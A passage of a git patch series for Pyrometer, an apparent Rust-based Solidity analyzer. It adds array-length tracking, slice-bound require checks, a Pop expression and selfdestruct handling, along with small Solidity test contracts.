@@ pub trait Variable: AnalyzerBackend + Size .collect::>(), ); } + + if let Some(len_var) = cvar_node.array_to_len_var(self) { + let new_len_var = len_var + .latest_version(self) + .underlying(self) + .into_expr_err(loc)? + .clone(); + let new_len_node = self.add_node(new_len_var); + ctx.add_var(new_len_node.into(), self).into_expr_err(loc)?; + self.add_edge(new_len_node, ctx, Edge::Context(ContextEdge::Variable)); + self.add_edge( + new_len_node, + new_cvarnode, + Edge::Context(ContextEdge::AttrAccess("length")), + ); + self.add_edge( + new_len_node, + len_var, + Edge::Context(ContextEdge::InheritedVariable), + ); + } } else { self.add_edge(new_cvarnode, cvar_node.0, Edge::Context(ContextEdge::Prev)); } @@ -698,6 +719,26 @@ pub trait Variable: AnalyzerBackend + Size .collect::>(), ); } + if let Some(len_var) = cvar_node.array_to_len_var(self) { + let new_len_var = len_var + .latest_version(self) + .underlying(self) + .into_expr_err(loc)? + .clone(); + let new_len_node = self.add_node(new_len_var); + ctx.add_var(new_len_node.into(), self).into_expr_err(loc)?; + self.add_edge(new_len_node, ctx, Edge::Context(ContextEdge::Variable)); + self.add_edge( + new_len_node, + new_cvarnode, + Edge::Context(ContextEdge::AttrAccess("length")), + ); + self.add_edge( + new_len_node, + len_var, + Edge::Context(ContextEdge::InheritedVariable), + ); + } } else { self.add_edge(new_cvarnode, cvar_node.0, Edge::Context(ContextEdge::Prev)); } From 95bd97dec1872c9d25b2d9bc97b7d9c0821c04e4 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Fri, 2 Aug 2024 11:25:24 -0700 Subject: [PATCH 50/52] add require in array slice, remove parsing of emits --- crates/pyrometer/tests/test_data/assign.sol | 4 +++- crates/solc-expressions/src/array.rs | 5 +++++ crates/solc-expressions/src/context_builder/flattened.rs | 5 +++-- 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/crates/pyrometer/tests/test_data/assign.sol b/crates/pyrometer/tests/test_data/assign.sol index 665ca9b0..facc63bc 100644 --- a/crates/pyrometer/tests/test_data/assign.sol +++ b/crates/pyrometer/tests/test_data/assign.sol @@ -28,7 +28,8 @@ contract Assign { } function array_slices( - uint[] calldata a + uint[] calldata a, + uint x ) public pure returns (uint[] memory) { require(a.length >= 4, "Array must have at least 4 elements"); a[2] = 14; @@ -36,5 +37,6 @@ contract Assign { uint[] memory c = a[1:]; uint[] memory d = a[:2]; uint[] memory e = a[2:4][0:1]; + uint[] memory f = a[2:x]; } } diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 21282ec7..68b6f4ed 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -26,6 +26,11 @@ pub trait Array: AnalyzerBackend + Sized { loc: Loc, ) -> Result<(), ExprErr> { let arr = ContextVarNode::from(arr.expect_single().into_expr_err(loc)?); + + if let (Some(s), Some(e)) = (&start, &end) { + self.handle_require_inner(arena, ctx, e, s, RangeOp::Gte, loc)?; + } + let start = if let Some(start) = start { Elem::from(ContextVarNode::from( start.expect_single().into_expr_err(loc)?, diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index faaa8430..7705256a 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -322,8 +322,8 @@ pub trait Flatten: self.push_expr(FlatExpr::Revert(*loc, named_args.len())); } Emit(loc, emit_expr) => { - self.traverse_expression(emit_expr, unchecked); - self.push_expr(FlatExpr::Emit(*loc)); + // self.traverse_expression(emit_expr, unchecked); + // self.push_expr(FlatExpr::Emit(*loc)); } Try(loc, _try_expr, _maybe_returns, _clauses) => { self.push_expr(FlatExpr::Todo( @@ -2075,6 +2075,7 @@ pub trait Flatten: } else { None }; + self.slice_inner(arena, ctx, arr, start, end, loc) } From 53b2b174728d9a50883abd3e36732c1a5283dda7 Mon Sep 17 00:00:00 2001 From: brockelmore <31553173+brockelmore@users.noreply.github.com> Date: Fri, 2 Aug 2024 11:27:51 -0700 Subject: [PATCH 51/52] add pop after require (#93) --- crates/shared/src/flattened.rs | 2 ++ crates/solc-expressions/src/context_builder/flattened.rs | 9 +++++++++ 2 files changed, 11 insertions(+) diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 5fd487df..3104400e 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -38,6 +38,7 @@ pub enum FlatExpr { }, Todo(Loc, &'static str), + Pop, Emit(Loc), TestCommand(Loc, &'static str), @@ -399,6 +400,7 @@ impl FlatExpr { | ArrayLiteral(loc, ..) => Some(*loc), FunctionCallName(..) + | Pop | YulExpr(FlatYulExpr::YulStartBlock(_)) | YulExpr(FlatYulExpr::YulEndBlock(_)) => None, } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 7705256a..79611126 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -869,6 +869,9 @@ pub trait Flatten: }); let cmp = self.expr_stack_mut().pop().unwrap(); self.traverse_requirement(cmp, *loc); + if input_exprs.len() > 1 { + self.push_expr(FlatExpr::Pop); + } } _ => { // func(inputs) @@ -1173,6 +1176,12 @@ pub trait Flatten: // Semi useless Super(..) => unreachable!(), Parameter(_, _, _) => Ok(()), + Pop => { + let _ = ctx + .pop_n_latest_exprs(1, Loc::Implicit, self) + .into_expr_err(Loc::Implicit)?; + Ok(()) + } Emit(loc) => { let _ = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; Ok(()) From 85f52843d6ab421b78401fa907525e354be9d9be Mon Sep 17 00:00:00 2001 From: brockelmore <31553173+brockelmore@users.noreply.github.com> Date: Fri, 2 Aug 2024 11:53:08 -0700 Subject: [PATCH 52/52] feat: support selfdestruct (#94) * selfdestruct * yul selfdestruct --- crates/pyrometer/tests/test_data/intrinsics.sol | 10 ++++++++++ .../src/func_call/intrinsic_call/intrinsic_caller.rs | 2 +- .../src/func_call/intrinsic_call/solidity.rs | 9 ++++++++- crates/solc-expressions/src/yul/yul_funcs.rs | 3 ++- 4 files changed, 21 insertions(+), 3 deletions(-) diff --git a/crates/pyrometer/tests/test_data/intrinsics.sol b/crates/pyrometer/tests/test_data/intrinsics.sol index 42c1b72d..d391a045 100644 --- a/crates/pyrometer/tests/test_data/intrinsics.sol +++ b/crates/pyrometer/tests/test_data/intrinsics.sol @@ -23,6 +23,16 @@ contract Intrinsics { require(d[3] == hex"bb"); } + function selfdestructed() public { + selfdestruct(payable(address(this))); + } + + function yulSelfdestructed() public { + assembly { + selfdestruct(1) + } + } + function yulIntrinsics() public view { assembly { let a := timestamp() diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index 73732437..0d8f7763 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -185,7 +185,7 @@ pub trait IntrinsicFuncCaller: // precompiles "sha256" | "ripemd160" | "ecrecover" => self.precompile_call(ctx, name, inputs, loc), // solidity - "keccak256" | "addmod" | "mulmod" | "require" | "assert" => { + "keccak256" | "addmod" | "mulmod" | "require" | "assert" | "selfdestruct" => { self.solidity_call(arena, ctx, name, inputs, loc) } // typing diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs b/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs index 503e3cd5..b2403ace 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs @@ -2,7 +2,10 @@ use crate::func_call::helper::CallerHelper; use graph::{ elem::Elem, - nodes::{Builtin, Concrete, ConcreteNode, ContextNode, ContextVar, ContextVarNode, ExprRet}, + nodes::{ + Builtin, Concrete, ConcreteNode, ContextNode, ContextVar, ContextVarNode, ExprRet, + KilledKind, + }, AnalyzerBackend, }; use shared::{ExprErr, IntoExprErr, RangeArena}; @@ -92,6 +95,10 @@ pub trait SolidityCaller: .into_expr_err(loc)?; Ok(()) } + "selfdestruct" => { + // TODO: affect address.balance + ctx.kill(self,loc, KilledKind::Ended).into_expr_err(loc) + } "require" | "assert" => { Err(ExprErr::ParseError( loc, diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index 217008df..a4124f5d 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -58,7 +58,8 @@ pub trait YulFuncCaller: .into_expr_err(loc)?; Ok(()) } - "stop" | "revert" | "selfdestruct" | "invalid" => { + "selfdestruct" => ctx.kill(self, loc, KilledKind::Ended).into_expr_err(loc), + "stop" | "revert" | "invalid" => { ctx.kill(self, loc, KilledKind::Revert).into_expr_err(loc) } "return" => {